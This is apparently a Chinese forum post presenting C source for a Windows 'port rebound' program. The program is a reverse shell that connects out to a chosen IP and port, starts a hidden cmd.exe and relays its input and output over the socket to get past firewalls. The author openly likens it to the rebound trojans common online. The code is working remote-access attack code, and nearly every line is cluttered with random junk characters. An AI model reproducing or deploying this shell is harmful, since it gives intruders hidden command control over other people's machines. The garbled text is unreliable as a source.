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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _@I<H\^  
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/* ============================== _:oB#-0  
Rebound port in Windows NT 4B>N[#-0=  
By wind,2006/7 l);M(<  
===============================*/ 3|4jS"t{f  
#include ,Bh!|H(?L1  
#include _[ml<HW]  
TR:V7 d  
#pragma comment(lib,"wsock32.lib") d?dZ=]~C  
PCzC8~t  
void OutputShell(); |sd0fTK  
SOCKET sClient; Ua^#.K  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5Vo8z8]t`  
xa+=9=<AQ  
void main(int argc,char **argv) e>`+Vk^Jc  
{ &2-dZK  
WSADATA stWsaData; jd<`W  
int nRet; 3F fS2we  
SOCKADDR_IN stSaiClient,stSaiServer; Rlc$2y@pU  
m$^Wyk}  
if(argc != 3) /VFh3n>I2  
{ ``*iK  
printf("Useage:\n\rRebound DestIP DestPort\n"); G9'Wo.$ t  
return; Ne7HPSWiOP  
} $ M?VJ\8  
;.$AhjqiP  
WSAStartup(MAKEWORD(2,2),&stWsaData); gA 0:qEL\  
wc?`QX}I  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f' |JLhs  
\\Ps*HN  
stSaiClient.sin_family = AF_INET; QWL$F:9:  
stSaiClient.sin_port = htons(0); , y%!s27  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vv0A5p8H  
M7U:UV)  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X@l>mAk  
{ qffVF|7  
printf("Bind Socket Failed!\n"); {4B{~Qe;  
return; 7l Q@I}i  
} Zy !^HS$  
?` ?HqR0  
stSaiServer.sin_family = AF_INET; "^/3?W>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WI@l2`X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '3B"@^]  
fpd4 v|(  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]70V  
{ %x(||cq  
printf("Connect Error!"); 0\W6X;?  
return; 0?@;zTE0  
} }Xa1K;KM{  
OutputShell(); &lnr?y^  
} o$PY0~#  
gJ \CT'/  
void OutputShell() ]7+9>V  
{ UNK}!>HD  
char szBuff[1024]; @\ udaZc  
SECURITY_ATTRIBUTES stSecurityAttributes; {=3&_/9s){  
OSVERSIONINFO stOsversionInfo; _]oNbcbt(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }:QQ{h_  
STARTUPINFO stStartupInfo; `i~kW  
char *szShell; l~",<bTc  
PROCESS_INFORMATION stProcessInformation; LN=6u  
unsigned long lBytesRead; ut SW>  
B EN U  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %s&"gWi  
86 $88`/2  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :'6vIPN5  
stSecurityAttributes.lpSecurityDescriptor = 0; V -X*e  
stSecurityAttributes.bInheritHandle = TRUE; -] @cUx  
l%\p  
h^ o@=%b  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k-CW?=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3ncL351k  
uT#4"G9A[  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |BA&ixHe~C  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n{*A<-vL  
stStartupInfo.wShowWindow = SW_HIDE; $^K12Wcp-  
stStartupInfo.hStdInput = hReadPipe; UlNx5l+k  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _keI0ML-#  
%4$J.6M  
GetVersionEx(&stOsversionInfo); b)(si/]\  
'QOV!D  
switch(stOsversionInfo.dwPlatformId) SJ7-lben3  
{ %(}%#-X  
case 1: ]broU%#"  
szShell = "command.com"; 8"=E 0(m  
break; TdKo"H*C  
default: 9O4\DRe5c  
szShell = "cmd.exe"; *L{^em#b  
break; 1sNZl&  
} `Lj'2LoER  
Ewq7oq5:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hd>_K*oH  
oK@_  
send(sClient,szMsg,77,0); P;bOtT --  
while(1) q,>-4Cm  
{ O*lMIWx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pY$DOr- r`  
if(lBytesRead) Bk;/>gD  
{ !*!i&0QC~R  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -~NjZ=vPh  
send(sClient,szBuff,lBytesRead,0); 'GF<_3I2l  
} (nnIRN<}$  
else undH{w=  
{ ' JAcN@q~z  
lBytesRead=recv(sClient,szBuff,1024,0); R+<M"LriR&  
if(lBytesRead<=0) break; 0RF<:9@x2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '>Uip+'  
} fq(3uE]nC  
} }>yQ!3/i  
2#_ i_j  
return; Ih_=yk  
}
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